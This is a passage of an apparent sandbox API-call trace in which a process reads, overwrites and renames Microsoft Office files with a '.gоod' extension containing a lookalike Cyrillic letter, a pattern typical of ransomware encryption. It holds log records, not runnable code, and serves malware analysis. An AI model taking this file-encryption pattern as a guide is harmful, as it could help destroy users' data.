nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0188.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0188.509] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\coffee.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\coffee.css.gоod")) returned 1 [0188.509] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML", lpFilePart=0x0) returned 0x41 [0188.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0188.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ct_roots.xml"), fInfoLevelId=0x0, lpFileInformation=0x38e8478 | out: lpFileInformation=0x38e8478*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99b9a24, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99b9a24, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99b9a24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b5)) returned 1 [0188.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0188.510] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML", lpFilePart=0x0) returned 0x41 [0188.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0188.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ct_roots.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0188.511] GetFileType (hFile=0x81c) returned 0x1 [0188.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0188.511] GetFileType (hFile=0x81c) returned 0x1 [0188.511] SetFilePointer (in: hFile=0x81c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0188.511] ReadFile (in: hFile=0x81c, lpBuffer=0x38e8880, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x38e8880*, lpNumberOfBytesRead=0x1f59ddd8*=0x7b5, lpOverlapped=0x0) returned 1 [0188.611] CloseHandle (hObject=0x81c) returned 1 [0188.611] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML", lpFilePart=0x0) returned 0x41 [0188.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0188.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ct_roots.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0188.611] GetFileType (hFile=0x81c) returned 0x1 [0188.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0188.611] GetFileType (hFile=0x81c) returned 0x1 [0188.611] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x17b5 [0188.611] WriteFile (in: hFile=0x81c, lpBuffer=0x377c610*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x377c610*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0188.611] CloseHandle (hObject=0x81c) returned 1 [0188.612] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML", lpFilePart=0x0) returned 0x41 [0188.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0188.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ct_roots.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0188.612] GetFileType (hFile=0x81c) returned 0x1 [0188.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0188.612] GetFileType (hFile=0x81c) returned 0x1 [0188.612] ReadFile (in: hFile=0x81c, lpBuffer=0x377e8c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x377e8c8*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0188.642] CloseHandle (hObject=0x81c) returned 1 [0188.642] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML", lpFilePart=0x0) returned 0x41 [0188.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0188.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ct_roots.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0188.642] GetFileType (hFile=0x81c) returned 0x1 [0188.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0188.643] GetFileType (hFile=0x81c) returned 0x1 [0188.643] WriteFile (in: hFile=0x81c, lpBuffer=0x377d628*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x377d628*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0188.643] CloseHandle (hObject=0x81c) returned 1 [0188.643] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML", lpFilePart=0x0) returned 0x41 [0188.643] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML.gоod", lpFilePart=0x0) returned 0x46 [0188.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0188.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ct_roots.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99b9a24, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99b9a24, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6ca80101, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17c5)) returned 1 [0188.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0188.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ct_roots.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ct_roots.xml.gоod")) returned 1 [0188.644] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB", lpFilePart=0x0) returned 0x41 [0188.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0188.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb"), fInfoLevelId=0x0, lpFileInformation=0x37fbd98 | out: lpFileInformation=0x37fbd98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000)) returned 1 [0188.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0188.644] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB", lpFilePart=0x0) returned 0x41 [0188.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0188.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0188.645] GetFileType (hFile=0x81c) returned 0x1 [0188.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0188.645] GetFileType (hFile=0x81c) returned 0x1 [0188.645] SetFilePointer (in: hFile=0x81c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0188.645] ReadFile (in: hFile=0x81c, lpBuffer=0x37fc1a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x37fc1a0*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0189.081] CloseHandle (hObject=0x81c) returned 1 [0189.081] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB", lpFilePart=0x0) returned 0x41 [0189.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0189.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0189.081] GetFileType (hFile=0x81c) returned 0x1 [0189.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0189.081] GetFileType (hFile=0x81c) returned 0x1 [0189.081] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x7c000 [0189.081] WriteFile (in: hFile=0x81c, lpBuffer=0x3958958*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3958958*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0189.085] CloseHandle (hObject=0x81c) returned 1 [0189.086] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB", lpFilePart=0x0) returned 0x41 [0189.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0189.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0189.086] GetFileType (hFile=0x81c) returned 0x1 [0189.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0189.086] GetFileType (hFile=0x81c) returned 0x1 [0189.086] ReadFile (in: hFile=0x81c, lpBuffer=0x395ac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x395ac10*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0189.338] CloseHandle (hObject=0x81c) returned 1 [0189.338] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB", lpFilePart=0x0) returned 0x41 [0189.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0189.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0189.338] GetFileType (hFile=0x81c) returned 0x1 [0189.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0189.338] GetFileType (hFile=0x81c) returned 0x1 [0189.338] WriteFile (in: hFile=0x81c, lpBuffer=0x377f4b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x377f4b0*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0189.339] CloseHandle (hObject=0x81c) returned 1 [0189.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB", lpFilePart=0x0) returned 0x41 [0189.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB.gоod", lpFilePart=0x0) returned 0x46 [0189.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0189.339] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6d115149, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7c010)) returned 1 [0189.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0189.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb.gоod")) returned 1 [0189.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS", lpFilePart=0x0) returned 0x40 [0189.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0189.340] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\default.css"), fInfoLevelId=0x0, lpFileInformation=0x37de928 | out: lpFileInformation=0x37de928*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45cd2b0, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45cd2b0, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x45cd2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0189.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0189.341] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS", lpFilePart=0x0) returned 0x40 [0189.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0189.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\default.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0189.341] GetFileType (hFile=0x81c) returned 0x1 [0189.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0189.341] GetFileType (hFile=0x81c) returned 0x1 [0189.341] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0189.341] ReadFile (in: hFile=0x81c, lpBuffer=0x37df930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x37df930*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0189.342] CloseHandle (hObject=0x81c) returned 1 [0190.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0190.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\default.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0190.215] GetFileType (hFile=0x820) returned 0x1 [0190.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0190.216] GetFileType (hFile=0x820) returned 0x1 [0190.216] WriteFile (in: hFile=0x820, lpBuffer=0x37dc428*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x37dc428*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0190.217] CloseHandle (hObject=0x820) returned 1 [0190.217] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS", lpFilePart=0x0) returned 0x40 [0190.217] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS.gоod", lpFilePart=0x0) returned 0x45 [0190.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0190.217] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\default.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45cd2b0, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45cd2b0, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6d97aed1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0190.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0190.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\default.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\default.css.gоod")) returned 1 [0190.219] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS", lpFilePart=0x0) returned 0x3e [0190.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0190.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel.hxs"), fInfoLevelId=0x0, lpFileInformation=0x37dd9c0 | out: lpFileInformation=0x37dd9c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1945af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x173da8)) returned 1 [0190.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0190.219] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS", lpFilePart=0x0) returned 0x3e [0190.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0190.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0190.219] GetFileType (hFile=0x820) returned 0x1 [0190.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0190.220] GetFileType (hFile=0x820) returned 0x1 [0190.220] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0190.220] ReadFile (in: hFile=0x820, lpBuffer=0x37ddda8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x37ddda8*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0190.222] CloseHandle (hObject=0x820) returned 1 [0190.222] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS", lpFilePart=0x0) returned 0x3e [0190.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0190.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\excel.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0190.222] GetFileType (hFile=0x820) returned 0x1 [0190.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0190.222] GetFileType (hFile=0x820) returned 0x1 [0190.222] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x173da8 [0190.222] WriteFile (in: hFile=0x820, lpBuffer=0x37df028*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x37df028*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0190.224] CloseHandle (hObject=0x820) returned 1 [0190.224] GetFullPathNameW 